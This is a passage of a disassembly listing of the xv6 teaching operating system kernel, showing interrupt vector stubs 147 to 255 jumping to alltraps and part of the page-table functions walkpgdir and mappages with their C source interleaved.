80105daa: 6a 00 push $0x0 pushl $147 80105dac: 68 93 00 00 00 push $0x93 jmp alltraps 80105db1: e9 07 f6 ff ff jmp 801053bd <alltraps> 80105db6 <vector148>: .globl vector148 vector148: pushl $0 80105db6: 6a 00 push $0x0 pushl $148 80105db8: 68 94 00 00 00 push $0x94 jmp alltraps 80105dbd: e9 fb f5 ff ff jmp 801053bd <alltraps> 80105dc2 <vector149>: .globl vector149 vector149: pushl $0 80105dc2: 6a 00 push $0x0 pushl $149 80105dc4: 68 95 00 00 00 push $0x95 jmp alltraps 80105dc9: e9 ef f5 ff ff jmp 801053bd <alltraps> 80105dce <vector150>: .globl vector150 vector150: pushl $0 80105dce: 6a 00 push $0x0 pushl $150 80105dd0: 68 96 00 00 00 push $0x96 jmp alltraps 80105dd5: e9 e3 f5 ff ff jmp 801053bd <alltraps> 80105dda <vector151>: .globl vector151 vector151: pushl $0 80105dda: 6a 00 push $0x0 pushl $151 80105ddc: 68 97 00 00 00 push $0x97 jmp alltraps 80105de1: e9 d7 f5 ff ff jmp 801053bd <alltraps> 80105de6 <vector152>: .globl vector152 vector152: pushl $0 80105de6: 6a 00 push $0x0 pushl $152 80105de8: 68 98 00 00 00 push $0x98 jmp alltraps 80105ded: e9 cb f5 ff ff jmp 801053bd <alltraps> 80105df2 <vector153>: .globl vector153 vector153: pushl $0 80105df2: 6a 00 push $0x0 pushl $153 80105df4: 68 99 00 00 00 push $0x99 jmp alltraps 80105df9: e9 bf f5 ff ff jmp 801053bd <alltraps> 80105dfe <vector154>: .globl vector154 vector154: pushl $0 80105dfe: 6a 00 push $0x0 pushl $154 80105e00: 68 9a 00 00 00 push $0x9a jmp alltraps 80105e05: e9 b3 f5 ff ff jmp 801053bd <alltraps> 80105e0a <vector155>: .globl vector155 vector155: pushl $0 80105e0a: 6a 00 push $0x0 pushl $155 80105e0c: 68 9b 00 00 00 push $0x9b jmp alltraps 80105e11: e9 a7 f5 ff ff jmp 801053bd <alltraps> 80105e16 <vector156>: .globl vector156 vector156: pushl $0 80105e16: 6a 00 push $0x0 pushl $156 80105e18: 68 9c 00 00 00 push $0x9c jmp alltraps 80105e1d: e9 9b f5 ff ff jmp 801053bd <alltraps> 80105e22 <vector157>: .globl vector157 vector157: pushl $0 80105e22: 6a 00 push $0x0 pushl $157 80105e24: 68 9d 00 00 00 push $0x9d jmp alltraps 80105e29: e9 8f f5 ff ff jmp 801053bd <alltraps> 80105e2e <vector158>: .globl vector158 vector158: pushl $0 80105e2e: 6a 00 push $0x0 pushl $158 80105e30: 68 9e 00 00 00 push $0x9e jmp alltraps 80105e35: e9 83 f5 ff ff jmp 801053bd <alltraps> 80105e3a <vector159>: .globl vector159 vector159: pushl $0 80105e3a: 6a 00 push $0x0 pushl $159 80105e3c: 68 9f 00 00 00 push $0x9f jmp alltraps 80105e41: e9 77 f5 ff ff jmp 801053bd <alltraps> 80105e46 <vector160>: .globl vector160 vector160: pushl $0 80105e46: 6a 00 push $0x0 pushl $160 80105e48: 68 a0 00 00 00 push $0xa0 jmp alltraps 80105e4d: e9 6b f5 ff ff jmp 801053bd <alltraps> 80105e52 <vector161>: .globl vector161 vector161: pushl $0 80105e52: 6a 00 push $0x0 pushl $161 80105e54: 68 a1 00 00 00 push $0xa1 jmp alltraps 80105e59: e9 5f f5 ff ff jmp 801053bd <alltraps> 80105e5e <vector162>: .globl vector162 vector162: pushl $0 80105e5e: 6a 00 push $0x0 pushl $162 80105e60: 68 a2 00 00 00 push $0xa2 jmp alltraps 80105e65: e9 53 f5 ff ff jmp 801053bd <alltraps> 80105e6a <vector163>: .globl vector163 vector163: pushl $0 80105e6a: 6a 00 push $0x0 pushl $163 80105e6c: 68 a3 00 00 00 push $0xa3 jmp alltraps 80105e71: e9 47 f5 ff ff jmp 801053bd <alltraps> 80105e76 <vector164>: .globl vector164 vector164: pushl $0 80105e76: 6a 00 push $0x0 pushl $164 80105e78: 68 a4 00 00 00 push $0xa4 jmp alltraps 80105e7d: e9 3b f5 ff ff jmp 801053bd <alltraps> 80105e82 <vector165>: .globl vector165 vector165: pushl $0 80105e82: 6a 00 push $0x0 pushl $165 80105e84: 68 a5 00 00 00 push $0xa5 jmp alltraps 80105e89: e9 2f f5 ff ff jmp 801053bd <alltraps> 80105e8e <vector166>: .globl vector166 vector166: pushl $0 80105e8e: 6a 00 push $0x0 pushl $166 80105e90: 68 a6 00 00 00 push $0xa6 jmp alltraps 80105e95: e9 23 f5 ff ff jmp 801053bd <alltraps> 80105e9a <vector167>: .globl vector167 vector167: pushl $0 80105e9a: 6a 00 push $0x0 pushl $167 80105e9c: 68 a7 00 00 00 push $0xa7 jmp alltraps 80105ea1: e9 17 f5 ff ff jmp 801053bd <alltraps> 80105ea6 <vector168>: .globl vector168 vector168: pushl $0 80105ea6: 6a 00 push $0x0 pushl $168 80105ea8: 68 a8 00 00 00 push $0xa8 jmp alltraps 80105ead: e9 0b f5 ff ff jmp 801053bd <alltraps> 80105eb2 <vector169>: .globl vector169 vector169: pushl $0 80105eb2: 6a 00 push $0x0 pushl $169 80105eb4: 68 a9 00 00 00 push $0xa9 jmp alltraps 80105eb9: e9 ff f4 ff ff jmp 801053bd <alltraps> 80105ebe <vector170>: .globl vector170 vector170: pushl $0 80105ebe: 6a 00 push $0x0 pushl $170 80105ec0: 68 aa 00 00 00 push $0xaa jmp alltraps 80105ec5: e9 f3 f4 ff ff jmp 801053bd <alltraps> 80105eca <vector171>: .globl vector171 vector171: pushl $0 80105eca: 6a 00 push $0x0 pushl $171 80105ecc: 68 ab 00 00 00 push $0xab jmp alltraps 80105ed1: e9 e7 f4 ff ff jmp 801053bd <alltraps> 80105ed6 <vector172>: .globl vector172 vector172: pushl $0 80105ed6: 6a 00 push $0x0 pushl $172 80105ed8: 68 ac 00 00 00 push $0xac jmp alltraps 80105edd: e9 db f4 ff ff jmp 801053bd <alltraps> 80105ee2 <vector173>: .globl vector173 vector173: pushl $0 80105ee2: 6a 00 push $0x0 pushl $173 80105ee4: 68 ad 00 00 00 push $0xad jmp alltraps 80105ee9: e9 cf f4 ff ff jmp 801053bd <alltraps> 80105eee <vector174>: .globl vector174 vector174: pushl $0 80105eee: 6a 00 push $0x0 pushl $174 80105ef0: 68 ae 00 00 00 push $0xae jmp alltraps 80105ef5: e9 c3 f4 ff ff jmp 801053bd <alltraps> 80105efa <vector175>: .globl vector175 vector175: pushl $0 80105efa: 6a 00 push $0x0 pushl $175 80105efc: 68 af 00 00 00 push $0xaf jmp alltraps 80105f01: e9 b7 f4 ff ff jmp 801053bd <alltraps> 80105f06 <vector176>: .globl vector176 vector176: pushl $0 80105f06: 6a 00 push $0x0 pushl $176 80105f08: 68 b0 00 00 00 push $0xb0 jmp alltraps 80105f0d: e9 ab f4 ff ff jmp 801053bd <alltraps> 80105f12 <vector177>: .globl vector177 vector177: pushl $0 80105f12: 6a 00 push $0x0 pushl $177 80105f14: 68 b1 00 00 00 push $0xb1 jmp alltraps 80105f19: e9 9f f4 ff ff jmp 801053bd <alltraps> 80105f1e <vector178>: .globl vector178 vector178: pushl $0 80105f1e: 6a 00 push $0x0 pushl $178 80105f20: 68 b2 00 00 00 push $0xb2 jmp alltraps 80105f25: e9 93 f4 ff ff jmp 801053bd <alltraps> 80105f2a <vector179>: .globl vector179 vector179: pushl $0 80105f2a: 6a 00 push $0x0 pushl $179 80105f2c: 68 b3 00 00 00 push $0xb3 jmp alltraps 80105f31: e9 87 f4 ff ff jmp 801053bd <alltraps> 80105f36 <vector180>: .globl vector180 vector180: pushl $0 80105f36: 6a 00 push $0x0 pushl $180 80105f38: 68 b4 00 00 00 push $0xb4 jmp alltraps 80105f3d: e9 7b f4 ff ff jmp 801053bd <alltraps> 80105f42 <vector181>: .globl vector181 vector181: pushl $0 80105f42: 6a 00 push $0x0 pushl $181 80105f44: 68 b5 00 00 00 push $0xb5 jmp alltraps 80105f49: e9 6f f4 ff ff jmp 801053bd <alltraps> 80105f4e <vector182>: .globl vector182 vector182: pushl $0 80105f4e: 6a 00 push $0x0 pushl $182 80105f50: 68 b6 00 00 00 push $0xb6 jmp alltraps 80105f55: e9 63 f4 ff ff jmp 801053bd <alltraps> 80105f5a <vector183>: .globl vector183 vector183: pushl $0 80105f5a: 6a 00 push $0x0 pushl $183 80105f5c: 68 b7 00 00 00 push $0xb7 jmp alltraps 80105f61: e9 57 f4 ff ff jmp 801053bd <alltraps> 80105f66 <vector184>: .globl vector184 vector184: pushl $0 80105f66: 6a 00 push $0x0 pushl $184 80105f68: 68 b8 00 00 00 push $0xb8 jmp alltraps 80105f6d: e9 4b f4 ff ff jmp 801053bd <alltraps> 80105f72 <vector185>: .globl vector185 vector185: pushl $0 80105f72: 6a 00 push $0x0 pushl $185 80105f74: 68 b9 00 00 00 push $0xb9 jmp alltraps 80105f79: e9 3f f4 ff ff jmp 801053bd <alltraps> 80105f7e <vector186>: .globl vector186 vector186: pushl $0 80105f7e: 6a 00 push $0x0 pushl $186 80105f80: 68 ba 00 00 00 push $0xba jmp alltraps 80105f85: e9 33 f4 ff ff jmp 801053bd <alltraps> 80105f8a <vector187>: .globl vector187 vector187: pushl $0 80105f8a: 6a 00 push $0x0 pushl $187 80105f8c: 68 bb 00 00 00 push $0xbb jmp alltraps 80105f91: e9 27 f4 ff ff jmp 801053bd <alltraps> 80105f96 <vector188>: .globl vector188 vector188: pushl $0 80105f96: 6a 00 push $0x0 pushl $188 80105f98: 68 bc 00 00 00 push $0xbc jmp alltraps 80105f9d: e9 1b f4 ff ff jmp 801053bd <alltraps> 80105fa2 <vector189>: .globl vector189 vector189: pushl $0 80105fa2: 6a 00 push $0x0 pushl $189 80105fa4: 68 bd 00 00 00 push $0xbd jmp alltraps 80105fa9: e9 0f f4 ff ff jmp 801053bd <alltraps> 80105fae <vector190>: .globl vector190 vector190: pushl $0 80105fae: 6a 00 push $0x0 pushl $190 80105fb0: 68 be 00 00 00 push $0xbe jmp alltraps 80105fb5: e9 03 f4 ff ff jmp 801053bd <alltraps> 80105fba <vector191>: .globl vector191 vector191: pushl $0 80105fba: 6a 00 push $0x0 pushl $191 80105fbc: 68 bf 00 00 00 push $0xbf jmp alltraps 80105fc1: e9 f7 f3 ff ff jmp 801053bd <alltraps> 80105fc6 <vector192>: .globl vector192 vector192: pushl $0 80105fc6: 6a 00 push $0x0 pushl $192 80105fc8: 68 c0 00 00 00 push $0xc0 jmp alltraps 80105fcd: e9 eb f3 ff ff jmp 801053bd <alltraps> 80105fd2 <vector193>: .globl vector193 vector193: pushl $0 80105fd2: 6a 00 push $0x0 pushl $193 80105fd4: 68 c1 00 00 00 push $0xc1 jmp alltraps 80105fd9: e9 df f3 ff ff jmp 801053bd <alltraps> 80105fde <vector194>: .globl vector194 vector194: pushl $0 80105fde: 6a 00 push $0x0 pushl $194 80105fe0: 68 c2 00 00 00 push $0xc2 jmp alltraps 80105fe5: e9 d3 f3 ff ff jmp 801053bd <alltraps> 80105fea <vector195>: .globl vector195 vector195: pushl $0 80105fea: 6a 00 push $0x0 pushl $195 80105fec: 68 c3 00 00 00 push $0xc3 jmp alltraps 80105ff1: e9 c7 f3 ff ff jmp 801053bd <alltraps> 80105ff6 <vector196>: .globl vector196 vector196: pushl $0 80105ff6: 6a 00 push $0x0 pushl $196 80105ff8: 68 c4 00 00 00 push $0xc4 jmp alltraps 80105ffd: e9 bb f3 ff ff jmp 801053bd <alltraps> 80106002 <vector197>: .globl vector197 vector197: pushl $0 80106002: 6a 00 push $0x0 pushl $197 80106004: 68 c5 00 00 00 push $0xc5 jmp alltraps 80106009: e9 af f3 ff ff jmp 801053bd <alltraps> 8010600e <vector198>: .globl vector198 vector198: pushl $0 8010600e: 6a 00 push $0x0 pushl $198 80106010: 68 c6 00 00 00 push $0xc6 jmp alltraps 80106015: e9 a3 f3 ff ff jmp 801053bd <alltraps> 8010601a <vector199>: .globl vector199 vector199: pushl $0 8010601a: 6a 00 push $0x0 pushl $199 8010601c: 68 c7 00 00 00 push $0xc7 jmp alltraps 80106021: e9 97 f3 ff ff jmp 801053bd <alltraps> 80106026 <vector200>: .globl vector200 vector200: pushl $0 80106026: 6a 00 push $0x0 pushl $200 80106028: 68 c8 00 00 00 push $0xc8 jmp alltraps 8010602d: e9 8b f3 ff ff jmp 801053bd <alltraps> 80106032 <vector201>: .globl vector201 vector201: pushl $0 80106032: 6a 00 push $0x0 pushl $201 80106034: 68 c9 00 00 00 push $0xc9 jmp alltraps 80106039: e9 7f f3 ff ff jmp 801053bd <alltraps> 8010603e <vector202>: .globl vector202 vector202: pushl $0 8010603e: 6a 00 push $0x0 pushl $202 80106040: 68 ca 00 00 00 push $0xca jmp alltraps 80106045: e9 73 f3 ff ff jmp 801053bd <alltraps> 8010604a <vector203>: .globl vector203 vector203: pushl $0 8010604a: 6a 00 push $0x0 pushl $203 8010604c: 68 cb 00 00 00 push $0xcb jmp alltraps 80106051: e9 67 f3 ff ff jmp 801053bd <alltraps> 80106056 <vector204>: .globl vector204 vector204: pushl $0 80106056: 6a 00 push $0x0 pushl $204 80106058: 68 cc 00 00 00 push $0xcc jmp alltraps 8010605d: e9 5b f3 ff ff jmp 801053bd <alltraps> 80106062 <vector205>: .globl vector205 vector205: pushl $0 80106062: 6a 00 push $0x0 pushl $205 80106064: 68 cd 00 00 00 push $0xcd jmp alltraps 80106069: e9 4f f3 ff ff jmp 801053bd <alltraps> 8010606e <vector206>: .globl vector206 vector206: pushl $0 8010606e: 6a 00 push $0x0 pushl $206 80106070: 68 ce 00 00 00 push $0xce jmp alltraps 80106075: e9 43 f3 ff ff jmp 801053bd <alltraps> 8010607a <vector207>: .globl vector207 vector207: pushl $0 8010607a: 6a 00 push $0x0 pushl $207 8010607c: 68 cf 00 00 00 push $0xcf jmp alltraps 80106081: e9 37 f3 ff ff jmp 801053bd <alltraps> 80106086 <vector208>: .globl vector208 vector208: pushl $0 80106086: 6a 00 push $0x0 pushl $208 80106088: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010608d: e9 2b f3 ff ff jmp 801053bd <alltraps> 80106092 <vector209>: .globl vector209 vector209: pushl $0 80106092: 6a 00 push $0x0 pushl $209 80106094: 68 d1 00 00 00 push $0xd1 jmp alltraps 80106099: e9 1f f3 ff ff jmp 801053bd <alltraps> 8010609e <vector210>: .globl vector210 vector210: pushl $0 8010609e: 6a 00 push $0x0 pushl $210 801060a0: 68 d2 00 00 00 push $0xd2 jmp alltraps 801060a5: e9 13 f3 ff ff jmp 801053bd <alltraps> 801060aa <vector211>: .globl vector211 vector211: pushl $0 801060aa: 6a 00 push $0x0 pushl $211 801060ac: 68 d3 00 00 00 push $0xd3 jmp alltraps 801060b1: e9 07 f3 ff ff jmp 801053bd <alltraps> 801060b6 <vector212>: .globl vector212 vector212: pushl $0 801060b6: 6a 00 push $0x0 pushl $212 801060b8: 68 d4 00 00 00 push $0xd4 jmp alltraps 801060bd: e9 fb f2 ff ff jmp 801053bd <alltraps> 801060c2 <vector213>: .globl vector213 vector213: pushl $0 801060c2: 6a 00 push $0x0 pushl $213 801060c4: 68 d5 00 00 00 push $0xd5 jmp alltraps 801060c9: e9 ef f2 ff ff jmp 801053bd <alltraps> 801060ce <vector214>: .globl vector214 vector214: pushl $0 801060ce: 6a 00 push $0x0 pushl $214 801060d0: 68 d6 00 00 00 push $0xd6 jmp alltraps 801060d5: e9 e3 f2 ff ff jmp 801053bd <alltraps> 801060da <vector215>: .globl vector215 vector215: pushl $0 801060da: 6a 00 push $0x0 pushl $215 801060dc: 68 d7 00 00 00 push $0xd7 jmp alltraps 801060e1: e9 d7 f2 ff ff jmp 801053bd <alltraps> 801060e6 <vector216>: .globl vector216 vector216: pushl $0 801060e6: 6a 00 push $0x0 pushl $216 801060e8: 68 d8 00 00 00 push $0xd8 jmp alltraps 801060ed: e9 cb f2 ff ff jmp 801053bd <alltraps> 801060f2 <vector217>: .globl vector217 vector217: pushl $0 801060f2: 6a 00 push $0x0 pushl $217 801060f4: 68 d9 00 00 00 push $0xd9 jmp alltraps 801060f9: e9 bf f2 ff ff jmp 801053bd <alltraps> 801060fe <vector218>: .globl vector218 vector218: pushl $0 801060fe: 6a 00 push $0x0 pushl $218 80106100: 68 da 00 00 00 push $0xda jmp alltraps 80106105: e9 b3 f2 ff ff jmp 801053bd <alltraps> 8010610a <vector219>: .globl vector219 vector219: pushl $0 8010610a: 6a 00 push $0x0 pushl $219 8010610c: 68 db 00 00 00 push $0xdb jmp alltraps 80106111: e9 a7 f2 ff ff jmp 801053bd <alltraps> 80106116 <vector220>: .globl vector220 vector220: pushl $0 80106116: 6a 00 push $0x0 pushl $220 80106118: 68 dc 00 00 00 push $0xdc jmp alltraps 8010611d: e9 9b f2 ff ff jmp 801053bd <alltraps> 80106122 <vector221>: .globl vector221 vector221: pushl $0 80106122: 6a 00 push $0x0 pushl $221 80106124: 68 dd 00 00 00 push $0xdd jmp alltraps 80106129: e9 8f f2 ff ff jmp 801053bd <alltraps> 8010612e <vector222>: .globl vector222 vector222: pushl $0 8010612e: 6a 00 push $0x0 pushl $222 80106130: 68 de 00 00 00 push $0xde jmp alltraps 80106135: e9 83 f2 ff ff jmp 801053bd <alltraps> 8010613a <vector223>: .globl vector223 vector223: pushl $0 8010613a: 6a 00 push $0x0 pushl $223 8010613c: 68 df 00 00 00 push $0xdf jmp alltraps 80106141: e9 77 f2 ff ff jmp 801053bd <alltraps> 80106146 <vector224>: .globl vector224 vector224: pushl $0 80106146: 6a 00 push $0x0 pushl $224 80106148: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010614d: e9 6b f2 ff ff jmp 801053bd <alltraps> 80106152 <vector225>: .globl vector225 vector225: pushl $0 80106152: 6a 00 push $0x0 pushl $225 80106154: 68 e1 00 00 00 push $0xe1 jmp alltraps 80106159: e9 5f f2 ff ff jmp 801053bd <alltraps> 8010615e <vector226>: .globl vector226 vector226: pushl $0 8010615e: 6a 00 push $0x0 pushl $226 80106160: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106165: e9 53 f2 ff ff jmp 801053bd <alltraps> 8010616a <vector227>: .globl vector227 vector227: pushl $0 8010616a: 6a 00 push $0x0 pushl $227 8010616c: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106171: e9 47 f2 ff ff jmp 801053bd <alltraps> 80106176 <vector228>: .globl vector228 vector228: pushl $0 80106176: 6a 00 push $0x0 pushl $228 80106178: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010617d: e9 3b f2 ff ff jmp 801053bd <alltraps> 80106182 <vector229>: .globl vector229 vector229: pushl $0 80106182: 6a 00 push $0x0 pushl $229 80106184: 68 e5 00 00 00 push $0xe5 jmp alltraps 80106189: e9 2f f2 ff ff jmp 801053bd <alltraps> 8010618e <vector230>: .globl vector230 vector230: pushl $0 8010618e: 6a 00 push $0x0 pushl $230 80106190: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106195: e9 23 f2 ff ff jmp 801053bd <alltraps> 8010619a <vector231>: .globl vector231 vector231: pushl $0 8010619a: 6a 00 push $0x0 pushl $231 8010619c: 68 e7 00 00 00 push $0xe7 jmp alltraps 801061a1: e9 17 f2 ff ff jmp 801053bd <alltraps> 801061a6 <vector232>: .globl vector232 vector232: pushl $0 801061a6: 6a 00 push $0x0 pushl $232 801061a8: 68 e8 00 00 00 push $0xe8 jmp alltraps 801061ad: e9 0b f2 ff ff jmp 801053bd <alltraps> 801061b2 <vector233>: .globl vector233 vector233: pushl $0 801061b2: 6a 00 push $0x0 pushl $233 801061b4: 68 e9 00 00 00 push $0xe9 jmp alltraps 801061b9: e9 ff f1 ff ff jmp 801053bd <alltraps> 801061be <vector234>: .globl vector234 vector234: pushl $0 801061be: 6a 00 push $0x0 pushl $234 801061c0: 68 ea 00 00 00 push $0xea jmp alltraps 801061c5: e9 f3 f1 ff ff jmp 801053bd <alltraps> 801061ca <vector235>: .globl vector235 vector235: pushl $0 801061ca: 6a 00 push $0x0 pushl $235 801061cc: 68 eb 00 00 00 push $0xeb jmp alltraps 801061d1: e9 e7 f1 ff ff jmp 801053bd <alltraps> 801061d6 <vector236>: .globl vector236 vector236: pushl $0 801061d6: 6a 00 push $0x0 pushl $236 801061d8: 68 ec 00 00 00 push $0xec jmp alltraps 801061dd: e9 db f1 ff ff jmp 801053bd <alltraps> 801061e2 <vector237>: .globl vector237 vector237: pushl $0 801061e2: 6a 00 push $0x0 pushl $237 801061e4: 68 ed 00 00 00 push $0xed jmp alltraps 801061e9: e9 cf f1 ff ff jmp 801053bd <alltraps> 801061ee <vector238>: .globl vector238 vector238: pushl $0 801061ee: 6a 00 push $0x0 pushl $238 801061f0: 68 ee 00 00 00 push $0xee jmp alltraps 801061f5: e9 c3 f1 ff ff jmp 801053bd <alltraps> 801061fa <vector239>: .globl vector239 vector239: pushl $0 801061fa: 6a 00 push $0x0 pushl $239 801061fc: 68 ef 00 00 00 push $0xef jmp alltraps 80106201: e9 b7 f1 ff ff jmp 801053bd <alltraps> 80106206 <vector240>: .globl vector240 vector240: pushl $0 80106206: 6a 00 push $0x0 pushl $240 80106208: 68 f0 00 00 00 push $0xf0 jmp alltraps 8010620d: e9 ab f1 ff ff jmp 801053bd <alltraps> 80106212 <vector241>: .globl vector241 vector241: pushl $0 80106212: 6a 00 push $0x0 pushl $241 80106214: 68 f1 00 00 00 push $0xf1 jmp alltraps 80106219: e9 9f f1 ff ff jmp 801053bd <alltraps> 8010621e <vector242>: .globl vector242 vector242: pushl $0 8010621e: 6a 00 push $0x0 pushl $242 80106220: 68 f2 00 00 00 push $0xf2 jmp alltraps 80106225: e9 93 f1 ff ff jmp 801053bd <alltraps> 8010622a <vector243>: .globl vector243 vector243: pushl $0 8010622a: 6a 00 push $0x0 pushl $243 8010622c: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106231: e9 87 f1 ff ff jmp 801053bd <alltraps> 80106236 <vector244>: .globl vector244 vector244: pushl $0 80106236: 6a 00 push $0x0 pushl $244 80106238: 68 f4 00 00 00 push $0xf4 jmp alltraps 8010623d: e9 7b f1 ff ff jmp 801053bd <alltraps> 80106242 <vector245>: .globl vector245 vector245: pushl $0 80106242: 6a 00 push $0x0 pushl $245 80106244: 68 f5 00 00 00 push $0xf5 jmp alltraps 80106249: e9 6f f1 ff ff jmp 801053bd <alltraps> 8010624e <vector246>: .globl vector246 vector246: pushl $0 8010624e: 6a 00 push $0x0 pushl $246 80106250: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106255: e9 63 f1 ff ff jmp 801053bd <alltraps> 8010625a <vector247>: .globl vector247 vector247: pushl $0 8010625a: 6a 00 push $0x0 pushl $247 8010625c: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106261: e9 57 f1 ff ff jmp 801053bd <alltraps> 80106266 <vector248>: .globl vector248 vector248: pushl $0 80106266: 6a 00 push $0x0 pushl $248 80106268: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010626d: e9 4b f1 ff ff jmp 801053bd <alltraps> 80106272 <vector249>: .globl vector249 vector249: pushl $0 80106272: 6a 00 push $0x0 pushl $249 80106274: 68 f9 00 00 00 push $0xf9 jmp alltraps 80106279: e9 3f f1 ff ff jmp 801053bd <alltraps> 8010627e <vector250>: .globl vector250 vector250: pushl $0 8010627e: 6a 00 push $0x0 pushl $250 80106280: 68 fa 00 00 00 push $0xfa jmp alltraps 80106285: e9 33 f1 ff ff jmp 801053bd <alltraps> 8010628a <vector251>: .globl vector251 vector251: pushl $0 8010628a: 6a 00 push $0x0 pushl $251 8010628c: 68 fb 00 00 00 push $0xfb jmp alltraps 80106291: e9 27 f1 ff ff jmp 801053bd <alltraps> 80106296 <vector252>: .globl vector252 vector252: pushl $0 80106296: 6a 00 push $0x0 pushl $252 80106298: 68 fc 00 00 00 push $0xfc jmp alltraps 8010629d: e9 1b f1 ff ff jmp 801053bd <alltraps> 801062a2 <vector253>: .globl vector253 vector253: pushl $0 801062a2: 6a 00 push $0x0 pushl $253 801062a4: 68 fd 00 00 00 push $0xfd jmp alltraps 801062a9: e9 0f f1 ff ff jmp 801053bd <alltraps> 801062ae <vector254>: .globl vector254 vector254: pushl $0 801062ae: 6a 00 push $0x0 pushl $254 801062b0: 68 fe 00 00 00 push $0xfe jmp alltraps 801062b5: e9 03 f1 ff ff jmp 801053bd <alltraps> 801062ba <vector255>: .globl vector255 vector255: pushl $0 801062ba: 6a 00 push $0x0 pushl $255 801062bc: 68 ff 00 00 00 push $0xff jmp alltraps 801062c1: e9 f7 f0 ff ff jmp 801053bd <alltraps> 801062c6: 66 90 xchg %ax,%ax 801062c8: 66 90 xchg %ax,%ax 801062ca: 66 90 xchg %ax,%ax 801062cc: 66 90 xchg %ax,%ax 801062ce: 66 90 xchg %ax,%ax 801062d0 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801062d0: 55 push %ebp 801062d1: 89 e5 mov %esp,%ebp 801062d3: 57 push %edi 801062d4: 56 push %esi 801062d5: 89 d6 mov %edx,%esi pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 801062d7: c1 ea 16 shr $0x16,%edx { 801062da: 53 push %ebx pde = &pgdir[PDX(va)]; 801062db: 8d 3c 90 lea (%eax,%edx,4),%edi { 801062de: 83 ec 1c sub $0x1c,%esp if(*pde & PTE_P){ 801062e1: 8b 1f mov (%edi),%ebx 801062e3: f6 c3 01 test $0x1,%bl 801062e6: 74 28 je 80106310 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801062e8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 801062ee: 81 c3 00 00 00 80 add $0x80000000,%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801062f4: c1 ee 0a shr $0xa,%esi } 801062f7: 83 c4 1c add $0x1c,%esp return &pgtab[PTX(va)]; 801062fa: 89 f2 mov %esi,%edx 801062fc: 81 e2 fc 0f 00 00 and $0xffc,%edx 80106302: 8d 04 13 lea (%ebx,%edx,1),%eax } 80106305: 5b pop %ebx 80106306: 5e pop %esi 80106307: 5f pop %edi 80106308: 5d pop %ebp 80106309: c3 ret 8010630a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 80106310: 85 c9 test %ecx,%ecx 80106312: 74 34 je 80106348 <walkpgdir+0x78> 80106314: e8 87 c1 ff ff call 801024a0 <kalloc> 80106319: 85 c0 test %eax,%eax 8010631b: 89 c3 mov %eax,%ebx 8010631d: 74 29 je 80106348 <walkpgdir+0x78> memset(pgtab, 0, PGSIZE); 8010631f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106326: 00 80106327: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010632e: 00 8010632f: 89 04 24 mov %eax,(%esp) 80106332: e8 69 df ff ff call 801042a0 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 80106337: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 8010633d: 83 c8 07 or $0x7,%eax 80106340: 89 07 mov %eax,(%edi) 80106342: eb b0 jmp 801062f4 <walkpgdir+0x24> 80106344: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } 80106348: 83 c4 1c add $0x1c,%esp return 0; 8010634b: 31 c0 xor %eax,%eax } 8010634d: 5b pop %ebx 8010634e: 5e pop %esi 8010634f: 5f pop %edi 80106350: 5d pop %ebp 80106351: c3 ret 80106352: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106359: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106360 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106360: 55 push %ebp 80106361: 89 e5 mov %esp,%ebp 80106363: 57 push %edi 80106364: 56 push %esi 80106365: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80106366: 89 d3 mov %edx,%ebx { 80106368: 83 ec 1c sub $0x1c,%esp 8010636b: 8b 7d 08 mov 0x8(%ebp),%edi a = (char*)PGROUNDDOWN((uint)va); 8010636e: 81 e3 00 f0 ff ff and $0xfffff000,%ebx { 80106374: 89 45 e0 mov %eax,-0x20(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106377: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 8010637b: 89 45 e4 mov %eax,-0x1c(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 8010637e: 83 4d 0c 01 orl $0x1,0xc(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106382: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp) 80106389: 29 df sub %ebx,%edi 8010638b: eb 18 jmp 801063a5 <mappages+0x45> 8010638d: 8d 76 00 lea 0x0(%esi),%esi if(*pte & PTE_P) 80106390: f6 00 01 testb $0x1,(%eax) 80106393: 75 3d jne 801063d2 <mappages+0x72> *pte = pa | perm | PTE_P; 80106395: 0b 75 0c or 0xc(%ebp),%esi if(a == last) 80106398: 3b 5d e4 cmp -0x1c(%ebp),%ebx *pte = pa | perm | PTE_P; 8010639b: 89 30 mov %esi,(%eax) if(a == last) 8010639d: 74 29 je 801063c8 <mappages+0x68> break; a += PGSIZE; 8010639f: 81 c3 00 10 00 